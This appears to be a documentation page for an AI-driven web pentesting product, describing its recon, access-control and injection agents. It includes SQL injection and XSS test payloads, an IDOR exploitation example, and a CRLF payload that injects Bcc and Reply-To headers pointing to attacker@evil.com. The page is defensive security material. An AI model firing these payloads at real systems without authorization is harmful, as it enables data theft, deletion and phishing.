ModernPentestModernPentest
AI Agents

Web Testing Agents

AI agents specialized for testing web applications

Agent Overview

AgentFocus AreaOWASP Specialization
Recon AgentDiscovery & mappingFoundation for all testing
Access Control AgentAuthorization testingA01 - Broken Access Control
Injection AgentInput validationA03 - Injection

Recon Agent

The Reconnaissance Agent is the foundation of every pentest. It maps your application to enable effective testing.

What It Does

  • Endpoint Discovery - Finds all accessible pages and routes
  • Technology Detection - Identifies frameworks, libraries, versions
  • Authentication Mapping - Understands login flows and session handling
  • Input Identification - Locates forms, parameters, and entry points
  • Architecture Understanding - Recognizes admin areas, user sections, APIs

How It Works

The Recon Agent takes your application URL and produces a comprehensive Application Map:

  • Endpoints — All discovered pages and routes (typically 20-100+)
  • Technologies — Frameworks, libraries, and versions detected
  • Authentication flows — Login mechanisms and session handling
  • Forms and parameters — All user input points
  • Testing plan — Prioritized targets for other agents

Output

The Recon Agent produces a comprehensive map used by all other agents:

  • List of endpoints to test
  • Technology-specific considerations
  • Authentication tokens and flows
  • Priority targets based on risk

Access Control Agent

Tests for authorization vulnerabilities—the #1 most common web application security risk.

What It Tests

OWASP A01 - Broken Access Control (34% of applications)

VulnerabilityDescription
IDORAccessing other users' data via predictable references
Horizontal Privilege EscalationUser A accessing User B's resources
Vertical Privilege EscalationRegular user accessing admin functions
Forced BrowsingAccessing unauthorized pages directly
Missing AuthorizationEndpoints without access checks

Testing Methodology

  1. Identify Object References - Find IDs, UUIDs, and other references
  2. Baseline Collection - Document legitimate access patterns
  3. Cross-User Testing - Attempt access with different credentials
  4. Privilege Testing - Try escalating to higher permission levels
  5. Authorization Bypass - Test various bypass techniques

Example Finding

❌ Critical: Unauthorized Cross-Organization Domain Deletion (IDOR)

Endpoint: DELETE /api/domains/:id
Parameter: id
CWE: CWE-639 (Authorization Bypass Through User-Controlled Key)
OWASP: A01:2021-Broken Access Control

Issue: The DELETE endpoint does not verify the authenticated user
       owns the domain or belongs to the same organization.

Evidence - Authorization Comparison:
-  GET /api/domains/:id  → 403 Forbidden (Protected ✓)
-  DELETE /api/domains/:id → 200 OK (VULNERABLE ✗)

Exploitation Proof:
- Attacker: bob@acme.com (Org: ACME Corp)
- Victim: admin@techstart.com (Org: TechStart Inc)
- Result: Attacker successfully deleted victim's domain
- Verification: GET by victim returned {"error":"Domain not found"}

Impact:
- Multi-tenant isolation breach
- Cross-organization data deletion
- Service disruption for victims
- Compliance violations (GDPR/CCPA)

Injection Agent

Tests for injection vulnerabilities—malicious data sent to interpreters.

What It Tests

OWASP A03 - Injection (18% of applications)

VulnerabilityDescription
SQL InjectionDatabase query manipulation
Cross-Site Scripting (XSS)Script injection into web pages
Command InjectionOS command execution
Server-Side Template InjectionTemplate engine exploitation
NoSQL InjectionDocument database manipulation
XML External Entity (XXE)XML parser exploitation

Testing Methodology

For each input parameter discovered by Recon:

  1. Identify injection points - Forms, URL params, headers, JSON
  2. Determine context - SQL, HTML, OS command, template
  3. Send test payloads - Technology-appropriate inputs
  4. Analyze responses - Errors, behavior changes, timing
  5. Validate findings - Confirm exploitability

SQL Injection Testing

Input: search?q=test

Test payloads:
- test'           → SQL error indicates vulnerability
- test' OR '1'='1 → Behavior change indicates vulnerability
- test'; WAITFOR DELAY '0:0:5'-- → Time delay indicates blind SQLi

XSS Testing

Input: comment field

Test payloads (context-aware):
- HTML: <script>alert(1)</script>
- Attribute: " onclick="alert(1)"
- JavaScript: ';alert(1)//

Example Finding

❌ High: CRLF Injection Enables Email Header Manipulation

Endpoint: POST /api/emails
Parameter: subject
CWE: CWE-93 (CRLF Injection)
OWASP: A03:2021-Injection

Issue: The email subject field accepts CRLF characters (\r\n),
       allowing injection of arbitrary email headers.

Payload:
  subject: "Confidential\r\nBcc: attacker@evil.com\r\nReply-To: phishing@evil.com"

Injected Headers Confirmed:
- Bcc: attacker@evil.com (blind copy to attacker)
- Reply-To: phishing@evil.com (redirects replies)
- X-Priority: 1 (marks as urgent)
- Content-Type: text/html; charset=UTF-7

Response:
  {"id":"438356f2-...", "subject":"Confidential\r\nBcc: attacker@evil.com...", "status":"sent"}

Persistence: CRLF characters stored in database and returned in GET responses

Impact:
- Leak confidential emails via Bcc injection
- Phishing attacks via Reply-To manipulation
- Bypass email security filters
- Affects all users sending through the platform

Parallel Execution

After Recon completes, specialized agents run simultaneously on different endpoint groups:

AgentTarget EndpointsFocus
Access Control Agent/users/*, /orders/*, /admin/*Authorization bypass, IDOR
Injection Agent/search, /api/*, formsSQL injection, XSS, command injection

All findings then flow into the Consolidation phase for deduplication and validation.

Findings Consolidation

After all agents complete:

  1. Deduplication - Same vulnerability found by multiple agents? Merged.
  2. Validation - Each finding confirmed for accuracy
  3. Severity Assessment - Real-world risk evaluated
  4. Remediation - Fix guidance tailored to your stack

Next Steps

Last updated: February 1, 2026

On this page